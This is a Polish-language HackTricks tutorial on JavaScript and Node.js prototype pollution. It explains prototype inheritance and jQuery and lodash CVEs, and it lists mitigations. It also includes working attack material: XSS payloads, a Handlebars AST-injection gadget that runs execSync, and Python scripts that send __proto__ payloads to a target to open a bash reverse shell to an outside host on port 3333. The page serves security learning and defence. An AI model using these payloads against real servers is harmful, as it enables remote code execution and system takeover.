NodeJS - __proto__ & prototype Pollution

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

Obiekty w JavaScript

Obiekty w JavaScript to w zasadzie zbiory par klucz-wartość, znane jako właściwości. Obiekt można utworzyć za pomocą Object.create z null jako argumentem, aby uzyskać pusty obiekt. Ta metoda pozwala na tworzenie obiektu bez dziedziczonych właściwości.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Pusty obiekt jest podobny do pustego słownika, reprezentowanego jako {}.

Funkcje i Klasy w JavaScript

W JavaScript klasy i funkcje są ściśle powiązane, a funkcje często pełnią rolę konstruktorów dla klas. Pomimo braku natywnego wsparcia dla klas w JavaScript, konstruktory mogą emulować zachowanie klas.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypy w JavaScript

JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie rzeczywistym. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klas.

Funkcje takie jak toString i valueOf mogą być zmieniane, aby zmienić ich zachowanie, co pokazuje elastyczny charakter systemu prototypów JavaScript.

Dziedziczenie

W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Klasy te są tworzone poprzez dodawanie właściwości/metod do instancji innej klasy lub do pustego obiektu.

Należy zauważyć, że gdy właściwość jest dodawana do obiektu pełniącego rolę prototypu dla innych obiektów (takiego jak myPersonObj), obiekty dziedziczące uzyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że zostanie wyraźnie wywołana.

__proto__ zanieczyszczenie

Badanie zanieczyszczenia prototypu w JavaScript

Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą z prototypu obiektu JavaScript. Oznacza to, że modyfikacja prototypu obiektu może wpływać na wszystkie obiekty w środowisku.

Użyjmy innego przykładu, aby to zobrazować:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Dostęp do prototypu obiektu jest możliwy przez:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Dodając właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

zanieczyszczenie prototypu

W scenariuszu, w którym użycie __proto__ jest ograniczone, modyfikacja prototypu funkcji jest alternatywą:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

To wpływa tylko na obiekty utworzone z konstruktora Vehicle, nadając im właściwości beep, hasWheels, honk i isElectric.

Dwie metody globalnego wpływania na obiekty JavaScript poprzez zanieczyszczenie prototypu obejmują:

1. Zanieczyszczenie Object.prototype bezpośrednio:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };

1. Zanieczyszczanie prototypu konstruktora dla powszechnie używanej struktury:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Po tych operacjach każdy obiekt JavaScript może wykonywać metody goodbye i greet.

Zanieczyszczanie innych obiektów

Z klasy do Object.prototype

W scenariuszu, w którym możesz zanieczyścić konkretny obiekt i musisz dostać się do Object.prototype, możesz go wyszukać za pomocą czegoś takiego jak poniższy kod:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zanieczyszczenie elementów tablicy

Zauważ, że ponieważ możesz zanieczyścić atrybuty obiektów w JS, jeśli masz dostęp do zanieczyszczenia tablicy, możesz również zanieczyścić wartości tablicy dostępne za pomocą indeksów (zauważ, że nie możesz nadpisywać wartości, więc musisz zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Zanieczyszczenie elementów Html

Podczas generowania elementu HTML za pomocą JS możliwe jest nadpisanie atrybutu innerHTML, aby umożliwić zapis dowolnego kodu HTML. Pomysł i przykład z tego opracowania.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Przykłady

Podstawowy przykład

Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który pozwala na nadpisywanie właściwości w Object.prototype. Oznacza to, że ponieważ większość obiektów dziedziczy swoje właściwości z Object.prototype

Najłatwiejszym przykładem jest dodanie wartości do niezdefiniowanej atrybutu obiektu, który ma być sprawdzany, jak:

if (user.admin) {

Jeśli atrybut admin jest niezdefiniowany, możliwe jest nadużycie PP i ustawienie go na True za pomocą czegoś takiego:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mechanizm stojący za tym polega na manipulowaniu właściwościami w taki sposób, że jeśli atakujący ma kontrolę nad określonymi danymi wejściowymi, może zmodyfikować prototyp wszystkich obiektów w aplikacji. Ta manipulacja zazwyczaj polega na ustawieniu właściwości __proto__, która w JavaScript jest synonimem bezpośredniej modyfikacji prototypu obiektu.

Warunki, w jakich ten atak może być pomyślnie przeprowadzony, jak opisano w konkretnej studii, obejmują:

• Wykonywanie rekurencyjnego scalania.

• Definiowanie właściwości na podstawie ścieżki.

• Klonowanie obiektów.

Funkcja nadpisania

customer.__proto__.toString = ()=>{alert("polluted")}

Zanieczyszczenie prototypu do RCE

Prototype Pollution to RCE

Inne ładunki:

• https://github.com/KTH-LangSec/server-side-prototype-pollution

Zanieczyszczenie prototypu po stronie klienta do XSS

Client Side Prototype Pollution

CVE-2019–11358: Atak zanieczyszczenia prototypu przez jQuery $ .extend

Po więcej szczegółów sprawdź ten artykuł W jQuery funkcja $ .extend może prowadzić do zanieczyszczenia prototypu, jeśli funkcja głębokiego kopiowania jest wykorzystywana niewłaściwie. Funkcja ta jest powszechnie używana do klonowania obiektów lub łączenia właściwości z obiektu domyślnego. Jednak w przypadku niewłaściwej konfiguracji, właściwości przeznaczone dla nowego obiektu mogą zostać przypisane do prototypu. Na przykład:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ta podatność, zidentyfikowana jako CVE-2019–11358, ilustruje, jak głębokie kopiowanie może nieumyślnie modyfikować prototyp, prowadząc do potencjalnych zagrożeń bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak isAdmin są sprawdzane bez odpowiedniej weryfikacji istnienia.

CVE-2018–3721, CVE-2019–10744: Atak zanieczyszczenia prototypu przez lodash

Po więcej szczegółów sprawdź ten artykuł

Lodash napotkał podobne podatności na zanieczyszczenie prototypu (CVE-2018–3721, CVE-2019–10744). Problemy te zostały rozwiązane w wersji 4.17.11.

Inny samouczek z CVE

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2infosecwriteups.com

Narzędzia do wykrywania zanieczyszczenia prototypu

• Server-Side-Prototype-Pollution-Gadgets-Scanner: Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizy podatności na zanieczyszczenie prototypu po stronie serwera w aplikacjach internetowych. To narzędzie automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - szczególnie koncentrując się na bibliotekach Node.js.

• server-side-prototype-pollution: To rozszerzenie identyfikuje podatności na zanieczyszczenie prototypu po stronie serwera. Wykorzystuje techniki opisane w zanieczyszczeniu prototypu po stronie serwera.

Zanieczyszczenie prototypu AST w NodeJS

NodeJS szeroko wykorzystuje Drzewa Składni Abstrakcyjnej (AST) w JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja bada podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, szczególnie Handlebars i Pug.

Analiza podatności Handlebars

Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku javascript-compiler.js. Funkcja appendContent, na przykład, konkatenacja pendingContent, jeśli jest obecna, podczas gdy funkcja pushSource resetuje pendingContent do undefined po dodaniu źródła.

Proces eksploatacji

Eksploatacja wykorzystuje AST (Drzewo Składni Abstrakcyjnej) generowane przez Handlebars, wykonując następujące kroki:

1. Manipulacja parserem: Początkowo parser, za pośrednictwem węzła NumberLiteral, wymusza, aby wartości były numeryczne. Zanieczyszczenie prototypu może to obejść, umożliwiając wstawienie nienumerycznych ciągów.

2. Obsługa przez kompilator: Kompilator może przetwarzać obiekt AST lub szablon ciągu. Jeśli input.type równa się Program, wejście jest traktowane jako wstępnie przetworzone, co można wykorzystać.

3. Wstrzyknięcie kodu: Poprzez manipulację Object.prototype, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.

Przykład ilustrujący eksploatację podatności Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Ten kod pokazuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.

External Reference: Zidentyfikowano problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak szczegółowo opisano tutaj: Issue on GitHub.

External Reference: Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'

Przykład wykorzystania zanieczyszczenia prototypu w Pythonie:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, inny silnik szablonów, stoi w obliczu podobnego ryzyka związanego z zanieczyszczeniem prototypu. Szczegółowe informacje są dostępne w dyskusji na temat AST Injection in Pug.

Przykład zanieczyszczenia prototypu w Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Środki zapobiegawcze

Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:

1. Niemutowalność obiektów: Object.prototype można uczynić niemutowalnym, stosując Object.freeze.

2. Walidacja wejścia: Wejścia JSON powinny być rygorystycznie walidowane w odniesieniu do schematu aplikacji.

3. Bezpieczne funkcje scalania: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania.

4. Obiekty bez prototypu: Obiekty bez właściwości prototypu można tworzyć za pomocą Object.create(null).

5. Użycie Map: Zamiast Object, należy używać Map do przechowywania par klucz-wartość.

6. Aktualizacje bibliotek: Łatki bezpieczeństwa można wprowadzać poprzez regularne aktualizowanie bibliotek.

7. Narzędzia lintera i analizy statycznej: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami, aby wykrywać i zapobiegać lukom w zanieczyszczeniu prototypu.

8. Przeglądy kodu: Wprowadź dokładne przeglądy kodu, aby zidentyfikować i usunąć potencjalne ryzyka związane z zanieczyszczeniem prototypu.

9. Szkolenie w zakresie bezpieczeństwa: Edukuj programistów o ryzyku zanieczyszczenia prototypu i najlepszych praktykach pisania bezpiecznego kodu.

10. Ostrożne korzystanie z bibliotek: Bądź ostrożny podczas korzystania z bibliotek osób trzecich. Oceń ich bezpieczeństwo i przeglądaj ich kod, szczególnie te, które manipulują obiektami.

11. Ochrona w czasie wykonywania: Wprowadź mechanizmy ochrony w czasie wykonywania, takie jak korzystanie z pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.

Odniesienia

• https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

• https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l

• https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7

• https://blog.p6.is/AST-Injection/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.